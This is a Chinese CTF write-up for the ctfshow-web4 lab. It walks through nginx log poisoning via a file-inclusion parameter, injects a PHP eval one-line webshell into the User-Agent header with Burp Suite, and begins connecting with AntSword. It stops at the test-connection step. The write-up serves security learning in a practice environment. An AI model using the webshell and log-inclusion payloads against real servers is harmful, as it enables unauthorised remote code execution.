思路基本通用 复现靶场:ctfshow-web4
1、开靶场
修改成http协议
靶场是https开头 记得给请求头删掉s即可【后面几个图带https 我就不改了 其实是http】
2、判断中间件类型 考虑对应的log文件
【中间件 ---- 对应的文件及路径】
nginx ---- /var/log/nginx/access.log 或者 /var/log/nginx/error.log
apache ---- /var/log/apache/access.log
这里看到是nginx中间件 就准备去访问对应的文件 一个access和error 都试一试
3、尝试读取日志信息
(1)error.log文件
?url=/var/log/nginx/error.log
失败 没读到日志信息
(2)access.log文件
?url=/var/log/nginx/access.log
4、抓包进bp 给UA加一句话木马再次上传
<?php eval($_POST['-5'])?>
放行后看页面:
明显比第一次要多了日志记录 说明加马成功(日志只做记录 不显示马内容)
5、蚁剑拿shell
到这一步还是会莫名其妙小紧张哈哈 因为学upload的时候 看老哥们用的很熟练 就想跟着一起做
不过还是不知道怎么拿shell 每次都是撞运气 TuT
现在进行一个比较细致的使用步骤
**注意**:要和bp配合 bp抓到请求 先放行后 再进行操作
【如果是蚁剑报错 timeout:10000 那么就马上考虑 是不是bp抓到了包 没放过去 导致蚁剑抓不到包提示超时】
(1)新建连接
由于是http 不需要证书
https则需要 https的话 bp抓包也需要证书
(2)测试是否成功
点击添加: